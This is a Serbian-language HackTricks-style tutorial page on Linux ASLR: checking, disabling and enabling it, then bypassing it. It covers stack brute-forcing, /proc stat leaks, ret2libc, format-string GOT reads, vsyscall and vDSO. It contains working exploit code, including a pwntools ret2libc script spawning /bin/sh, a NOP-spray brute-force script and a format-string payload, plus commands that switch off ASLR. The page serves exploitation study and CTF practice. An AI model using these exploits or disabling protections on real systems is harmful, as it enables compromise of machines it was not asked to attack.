ASLR
Reading time: 10 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
Address Space Layout Randomization (ASLR) je tehnika bezbednosti koja se koristi u operativnim sistemima za randomizaciju memorijskih adresa koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču da predvidi lokaciju specifičnih procesa i podataka, kao što su stek, heap i biblioteke, čime se ublažavaju određene vrste eksploatacija, posebno prelivanja bafera.
Proveravanje ASLR Statusa
Da biste proverili ASLR status na Linux sistemu, možete pročitati vrednost iz /proc/sys/kernel/randomize_va_space
datoteke. Vrednost koja se čuva u ovoj datoteci određuje tip ASLR-a koji se primenjuje:
- 0: Nema randomizacije. Sve je statično.
- 1: Konzervativna randomizacija. Deljene biblioteke, stek, mmap(), VDSO stranica su randomizovane.
- 2: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija koja se upravlja putem
brk()
je randomizovana.
Možete proveriti ASLR status sledećom komandom:
cat /proc/sys/kernel/randomize_va_space
Onemogućavanje ASLR-a
Da biste onemogućili ASLR, postavite vrednost /proc/sys/kernel/randomize_va_space
na 0. Onemogućavanje ASLR-a se generalno ne preporučuje van testiranja ili debagovanja. Evo kako možete to da uradite:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Možete takođe onemogućiti ASLR za izvršavanje sa:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Omogućavanje ASLR
Da biste omogućili ASLR, možete napisati vrednost 2 u datoteku /proc/sys/kernel/randomize_va_space
. To obično zahteva root privilegije. Puno nasumično raspoređivanje može se izvršiti sledećom komandom:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistencija kroz ponovna pokretanja
Promene napravljene sa echo
komandama su privremene i biće resetovane prilikom ponovnog pokretanja. Da biste promenu učinili trajnom, potrebno je da uredite datoteku /etc/sysctl.conf
i dodate ili izmenite sledeću liniju:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Nakon uređivanja /etc/sysctl.conf
, primenite promene sa:
sudo sysctl -p
Ovo će osigurati da vaša ASLR podešavanja ostanu nakon ponovnog pokretanja.
Obilaženja
32bit brute-forcing
PaX deli adresni prostor procesa na 3 grupe:
- Kod i podaci (inicijalizovani i neinicijalizovani):
.text
,.data
, i.bss
—> 16 bita entropije udelta_exec
varijabli. Ova varijabla se nasumično inicijalizuje sa svakim procesom i dodaje se početnim adresama. - Memorija alocirana pomoću
mmap()
i deljene biblioteke —> 16 bita, nazvanadelta_mmap
. - Stek —> 24 bita, nazvana
delta_stack
. Međutim, efektivno koristi 11 bita (od 10. do 20. bajta uključivo), poravnato na 16 bajtova —> Ovo rezultira sa 524,288 mogućih stvarnih adresa steka.
Prethodni podaci su za 32-bitne sisteme, a smanjena konačna entropija omogućava obilaženje ASLR ponovnim pokušajem izvršavanja iznova i iznova dok se eksploatacija ne završi uspešno.
Ideje za brute-force:
- Ako imate dovoljno veliki overflow da smestite veliki NOP sled pre shellcode-a, mogli biste jednostavno brute-force adrese na steku dok tok ne preskoči neki deo NOP sled-a.
- Druga opcija za ovo, u slučaju da overflow nije toliko veliki i da se eksploatacija može pokrenuti lokalno, je moguće dodati NOP sled i shellcode u promenljivu okruženja.
- Ako je eksploatacija lokalna, možete pokušati da brute-force osnovnu adresu libc (korisno za 32bitne sisteme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Ako napadate udaljeni server, možete pokušati da brute-force-ujete adresu funkcije
libc
usleep
, prosledjujući kao argument 10 (na primer). Ako u nekom trenutku serveru treba dodatnih 10s da odgovori, pronašli ste adresu ove funkcije.
tip
U 64-bitnim sistemima entropija je mnogo veća i ovo ne bi trebalo da bude moguće.
Brute-forcing 64-bitnog steka
Moguće je zauzeti veliki deo steka sa env varijablama i zatim pokušati da zloupotrebite binarni fajl stotine/hiljade puta lokalno da biste ga iskoristili.
Sledeći kod pokazuje kako je moguće samo odabrati adresu u steku i svaka nekoliko stotina izvršenja ta adresa će sadržati NOP instrukciju:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
.png)
Lokalne informacije (/proc/[pid]/stat
)
Datoteka /proc/[pid]/stat
procesa je uvek čitljiva za sve i sadrži zanimljive informacije kao što su:
- startcode & endcode: Adrese iznad i ispod sa TEXT-om binarnog fajla
- startstack: Adresa početka stack-a
- start_data & end_data: Adrese iznad i ispod gde se nalazi BSS
- kstkesp & kstkeip: Trenutne ESP i EIP adrese
- arg_start & arg_end: Adrese iznad i ispod gde su cli argumenti.
- env_start &env_end: Adrese iznad i ispod gde su env varijable.
Dakle, ako je napadač na istom računaru kao i binarni fajl koji se eksploatiše i ovaj binarni fajl ne očekuje prelivanje iz sirovih argumenata, već iz različitog ulaza koji se može kreirati nakon čitanja ove datoteke. Moguće je da napadač dobije neke adrese iz ove datoteke i konstruira ofsete iz njih za eksploataciju.
tip
Za više informacija o ovoj datoteci proverite https://man7.org/linux/man-pages/man5/proc.5.html pretražujući /proc/pid/stat
Imati leak
- Izazov je dati leak
Ako dobijete leak (laki CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju libc koja se koristi u sistemu koji eksploatišete). Ovaj primer eksploatacije je izvučen iz primera ovde (proverite tu stranicu za više detalja):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Zloupotrebljavajući buffer overflow, bilo bi moguće iskoristiti ret2plt za eksfiltraciju adrese funkcije iz libc. Proverite:
- Format Strings Arbitrary Read
Baš kao u ret2plt, ako imate proizvoljno čitanje putem ranjivosti format stringova, moguće je eksfiltrirati adresu libc funkcije iz GOT-a. Sledeći primer je odavde:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Možete pronaći više informacija o Format Strings proizvoljnom čitanju u:
Ret2ret & Ret2pop
Pokušajte da zaobiđete ASLR zloupotrebom adresa unutar steka:
vsyscall
vsyscall
mehanizam služi za poboljšanje performansi omogućavajući izvršavanje određenih sistemskih poziva u korisničkom prostoru, iako su oni suštinski deo jezgra. Kritična prednost vsyscall-a leži u njihovim fiksnim adresama, koje nisu podložne ASLR (Randomizacija rasporeda adresnog prostora). Ova fiksna priroda znači da napadači ne zahtevaju ranjivost za curenje informacija da bi odredili svoje adrese i koristili ih u eksploatu.
Međutim, ovde se neće naći super zanimljivi gadgeti (iako je, na primer, moguće dobiti ekvivalent ret;
)
(Sledeći primer i kod su iz ovog izveštaja)
Na primer, napadač može koristiti adresu 0xffffffffff600800
unutar eksploata. Dok pokušaj da se direktno skoči na ret
instrukciju može dovesti do nestabilnosti ili rušenja nakon izvršavanja nekoliko gadgeta, skakanje na početak syscall
-a koji pruža vsyscall sekcija može biti uspešno. Pažljivim postavljanjem ROP gadgeta koji vodi izvršavanje na ovu vsyscall adresu, napadač može postići izvršavanje koda bez potrebe da zaobiđe ASLR za ovaj deo eksploata.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Napomena, stoga, kako bi moglo biti moguće zaobići ASLR koristeći vdso ako je kernel kompajliran sa CONFIG_COMPAT_VDSO, jer adresa vdso neće biti nasumična. Za više informacija proverite:
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.